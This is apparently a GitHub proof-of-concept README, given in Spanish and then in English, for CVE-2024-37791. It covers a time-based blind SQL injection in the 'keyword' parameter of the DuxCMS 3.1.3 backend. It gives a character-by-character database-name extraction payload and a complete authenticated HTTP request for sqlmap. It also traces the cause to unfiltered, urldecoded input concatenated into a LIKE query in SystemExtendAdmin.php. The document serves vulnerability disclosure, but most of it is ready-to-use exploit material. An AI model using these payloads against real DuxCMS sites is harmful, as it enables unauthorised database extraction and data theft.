czheisenberg/cve-2024-37791Explotación de prueba de concepto para una vulnerabilidad de inyección SQL ciega basada en tiempo en DuxCMS3.1.3, dirigida al parámetro 'keyword' con solicitudes autenticadas e integración con sqlmap.
Dirección del proyecto: ****
Preparación:
Iniciar sesión en el backend - obtener cookie
http://127.0.0.1:8093/s/article/Content/index?class_id=&keyword=
Parámetro vulnerable: keyword
payload: %27and(select*from(select+if(ascii(substr(database(),1,1))%3E97,sleep(1),0))a//union//select+1)=%27
Si la inyección tiene éxito, el retraso es superior a un segundo; de lo contrario, no hay retraso.
Verificación con sqlmap:
Se requiere cookie.
GET http://127.0.0.1:8093/s/article/Content/index?class_id=&keyword=%27and%28select%2Afrom%28select%2Bsleep%283%29%29a%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2B1%29%3D%27 HTTP/1.1
Host: 127.0.0.1:8093
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=jna2rl0d9ie3em6gb82s9odb3j
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=1
Se obtuvo el nombre de la base de datos en uso actualmente. Esta vulnerabilidad existe.
Buscando desde el parámetro de inyección: keyword permite localizar la llamada.
app/system/admin/SystemExtendAdmin.php
Línea: 42.
Se utiliza like para coincidencia difusa y no se filtra $value, por lo que se genera la vulnerabilidad en la consulta.
Al introducir: and(select*from(select sleep(3))a//union//select 1)=
Como se muestra en la figura anterior: el parámetro $value se obtiene de la línea 29 $pageParams = request(); de la solicitud, y luego la línea 32 decodifica $pageParams[$key] con urldecode() obteniendo nuestra sentencia SQL maliciosa. No hay medidas de defensa.
Por lo tanto, se concatenó directamente el payload.
Después de la ejecución, la sentencia SQL completa es:
(A.title like '%and(select*from(select sleep(3))a//union//select 1)=%')
Preparatory work:
Log in to the backend-get cookie.
Vulnerability parameter: keyword
payload: %27and(select*from(select+if(ascii(substr(database(),1,1))%3E97,sleep(1),0))a//union//select+1)=%27
If the injection is successful, the delay is more than one second, otherwise there is no delay.
Sqlmap authentication:
Cookie is required.
GET http://127.0.0.1:8093/s/article/Content/index?class_id=&keyword=%27and%28select%2Afrom%28select%2Bsleep%283%29%29a%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2B1%29%3D%27 HTTP/1.1
Host: 127.0.0.1:8093
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=jna2rl0d9ie3em6gb82s9odb3j
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=1
The name of the currently used database was successfully obtained.
This vulnerability exists.
Retrieving from the injection parameter: keyword can locate the call location.
App/system/admin/SystemExtendAdmin.php.
Line 42.
There is a vulnerability in the query because it uses like for fuzzy matching and does not filter $value.
When entering: and (select*from (select sleep (3)) a//union//select 1) =
As shown in the figure above: the $value parameter is obtained from line 29$ pageParams = request (); request request, and then line 32 decodes $pageParams [$key] with urldecode () to get our malicious sql statement.
There are no defenses.
So the payload is spliced directly.
After execution, the complete sql statement is:
(A.title like'% and (select*from (select sleep (3)) a//union//select 1) =%')